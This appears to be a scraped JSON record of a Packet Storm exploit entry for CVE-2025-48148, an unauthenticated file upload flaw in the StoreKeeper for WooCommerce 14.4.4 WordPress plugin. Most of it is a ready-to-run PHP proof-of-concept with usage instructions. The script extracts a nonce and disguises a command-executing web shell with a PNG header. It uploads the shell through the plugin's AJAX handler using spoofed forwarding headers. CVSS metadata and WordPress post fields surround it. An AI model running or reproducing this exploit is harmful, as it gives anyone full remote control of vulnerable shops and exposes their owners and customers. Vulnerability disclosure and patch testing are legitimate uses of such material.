{“lastseen”:”2026-02-06T18:44:21″,”description”:”A critical security vulnerability exists in the StoreKeeper for WooCommerce WordPress plugin that allows unauthenticated attackers to upload arbitrary files, including PHP web shells, leading to complete system compromise. Version 14.4.4 is affected…”,”published”:”2026-02-06T00:00:00″,”modified”:”2026-02-06T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 WordPress StoreKeeper for WooCommerce 14.4.4 Shell Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:215101″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-48148″],”sourceData”:”=============================================================================================================================================\\n | # Title : WordPress StoreKeeper for WooCommerce 14.4.4 Remote Code Execution via File Upload |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/wordpress.org\/plugins\/storekeeper-for-woocommerce\/ |\\n =============================================================================================================================================\\n \\n POC : \\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/210872\/ \\u0026 \\tCVE-2025-48148 \\n \\n [+] Summary : A critical security vulnerability exists in the StoreKeeper for WooCommerce WordPress plugin that allows unauthenticated attackers to upload arbitrary files, including PHP web shells, leading to complete system compromise.\\n \\n [+] Risk Assessment :\\n \\n – **Attack Vector**: Network-based, no authentication required\\n – **Attack Complexity**: Low\\n – **Privileges Required**: None\\n – **User Interaction**: None\\n \\n The vulnerability stems from improper nonce validation and missing authorization checks in the `upload_product_image` AJAX handler.\\n \\n [+] Usage: \\n \\n Usage: php poc.php -u \\u003curl\\u003e [–debug]\\n \\n Example: php poc.php -u http:\/\/site.com\/ [–debug]\\n \\n [+] POC :\\n \\n \\u003c?php\\n \\n class NxploitedShellUploader {\\n private $logger;\\n private $timeout = 10;\\n \\n public function __construct($debug = false) {\\n $this-\\u003esetupLogger($debug);\\n }\\n \\n private function setupLogger($debug) {\\n $this-\\u003elogger = function($message, $level = ‘INFO’) {\\n $timestamp = date(‘Y-m-d H:i:s’);\\n echo \\”[$timestamp] [$level] $message\\\\n\\”;\\n };\\n }\\n \\n private function log($message, $level = ‘INFO’) {\\n call_user_func($this-\\u003elogger, $message, $level);\\n }\\n \\n public function getNonce($site_url) {\\n $headers = [\\n \\”User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)\\”,\\n \\”Accept: *\/*\\”,\\n \\”Connection: close\\”,\\n \\”Referer: \\” . $site_url,\\n \\”X-Forwarded-For: 127.0.0.1\\”,\\n \\”X-Originating-IP: 127.0.0.1\\”,\\n \\”X-Remote-IP: 127.0.0.1\\”,\\n \\”X-Remote-Addr: 127.0.0.1\\”\\n ];\\n \\n $this-\\u003elog(\\”Requesting site for nonce extraction…\\”);\\n \\n $ch = curl_init();\\n curl_setopt_array($ch, [\\n CURLOPT_URL =\\u003e $site_url,\\n CURLOPT_HTTPHEADER =\\u003e $headers,\\n CURLOPT_TIMEOUT =\\u003e $this-\\u003etimeout,\\n CURLOPT_FOLLOWLOCATION =\\u003e true,\\n CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n CURLOPT_RETURNTRANSFER =\\u003e true\\n ]);\\n \\n $response = curl_exec($ch);\\n $error = curl_error($ch);\\n curl_close($ch);\\n \\n if ($error) {\\n $this-\\u003elog(\\”Error fetching URL: $error\\”, ‘ERROR’);\\n exit(1);\\n }\\n \\n if (preg_match(‘\/\\”nonce\\”:\\”([a-f0-9]+)\\”\/’, $response, $matches)) {\\n $nonce_val = $matches[1];\\n $this-\\u003elog(\\”Nonce extracted: $nonce_val\\”);\\n return $nonce_val;\\n }\\n \\n $this-\\u003elog(\\”Nonce not found!\\”, ‘ERROR’);\\n exit(1);\\n }\\n \\n public function writeShell($filename = \\”indoushka.php\\”) {\\n $shell_content = \\”\\\\x89\\\\x50\\\\x4E\\\\x47\\\\x0D\\\\x0A\\\\x1A\\\\x0A\\u003c?php system(\\\\$_GET[‘cmd’]); ?\\u003e\\”;\\n \\n if (file_put_contents($filename, $shell_content) !== false) {\\n $this-\\u003elog(\\”Shell file created: $filename\\”);\\n return true;\\n } else {\\n $this-\\u003elog(\\”Failed to create shell file: $filename\\”, ‘ERROR’);\\n return false;\\n }\\n }\\n \\n public function uploadShell($site_url, $nonce, $shell_path) {\\n $base = rtrim(explode(‘\/wp-admin\/’, $site_url)[0], ‘\/’);\\n $ajax_url = $base . \\”\/wp-admin\/admin-ajax.php\\”;\\n \\n $this-\\u003elog(\\”Uploading shell to $ajax_url …\\”);\\n \\n if (!file_exists($shell_path)) {\\n $this-\\u003elog(\\”Shell file not found: $shell_path\\”, ‘ERROR’);\\n exit(1);\\n }\\n \\n $post_data = [\\n ‘action’ =\\u003e ‘upload_product_image’,\\n ‘nonce’ =\\u003e $nonce,\\n ‘file’ =\\u003e new CURLFile($shell_path, ‘image\/png’, ‘indoushka.php’)\\n ];\\n \\n $headers = [\\n \\”User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko\/20100101 Firefox\/99.0\\”,\\n \\”Referer: \\” . $site_url,\\n \\”X-Requested-With: XMLHttpRequest\\”,\\n \\”Accept: *\/*\\”,\\n \\”Connection: close\\”,\\n \\”X-Forwarded-For: 127.0.0.1\\”,\\n \\”X-Originating-IP: 127.0.0.1\\”,\\n \\”X-Remote-IP: 127.0.0.1\\”,\\n \\”X-Remote-Addr: 127.0.0.1\\”,\\n \\”Pragma: no-cache\\”,\\n \\”Cache-Control: no-cache\\”\\n ];\\n \\n $ch = curl_init();\\n curl_setopt_array($ch, [\\n CURLOPT_URL =\\u003e $ajax_url,\\n CURLOPT_POST =\\u003e true,\\n CURLOPT_POSTFIELDS =\\u003e $post_data,\\n CURLOPT_HTTPHEADER =\\u003e $headers,\\n CURLOPT_TIMEOUT =\\u003e 15,\\n CURLOPT_FOLLOWLOCATION =\\u003e true,\\n CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n CURLOPT_RETURNTRANSFER =\\u003e true\\n ]);\\n \\n $response = curl_exec($ch);\\n $error = curl_error($ch);\\n curl_close($ch);\\n \\n if ($error) {\\n $this-\\u003elog(\\”Upload failed: $error\\”, ‘ERROR’);\\n exit(1);\\n }\\n \\n $this-\\u003elog(\\”Upload response:\\”);\\n echo $response . \\”\\\\n\\”;\\n \\n return $response;\\n }\\n \\n public function execute($url, $debug = false) {\\n if ($debug) {\\n $this-\\u003elog(\\”Debug logging enabled\\”, ‘DEBUG’);\\n }\\n \\n try {\\n $nonce = $this-\\u003egetNonce($url);\\n $this-\\u003ewriteShell(\\”indoushka.php\\”);\\n $this-\\u003euploadShell($url, $nonce, \\”indoushka.php\\”);\\n $this-\\u003elog(\\”Operation completed.\\”);\\n } catch (Exception $e) {\\n $this-\\u003elog(\\”Operation failed: \\” . $e-\\u003egetMessage(), ‘ERROR’);\\n exit(1);\\n }\\n }\\n }\\n \\n if (php_sapi_name() === ‘cli’) {\\n $options = getopt(\\”u:\\”, [\\”url:\\”, \\”debug\\”]);\\n \\n $url = $options[‘u’] ?? $options[‘url’] ?? null;\\n $debug = isset($options[‘debug’]);\\n \\n if (!$url) {\\n echo \\”Usage: php exploit.php -u \\u003curl\\u003e [–debug]\\\\n\\”;\\n echo \\”Example: php exploit.php -u http:\/\/site.com\/ [–debug]\\\\n\\”;\\n exit(1);\\n }\\n \\n $uploader = new NxploitedShellUploader($debug);\\n $uploader-\\u003eexecute($url, $debug);\\n } else {\\n echo \\”This script is intended for command line use only.\\\\n\\”;\\n }\\n \\n if (function_exists(‘curl_version’)) {\\n \\n }\\n ?\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215101″,”cvss”:{“score”:10,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215101\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-06T18:44:21″,”description”:”A critical security vulnerability exists in the StoreKeeper for WooCommerce WordPress plugin that allows unauthenticated attackers to upload arbitrary files, including PHP web shells, leading…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-39480","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n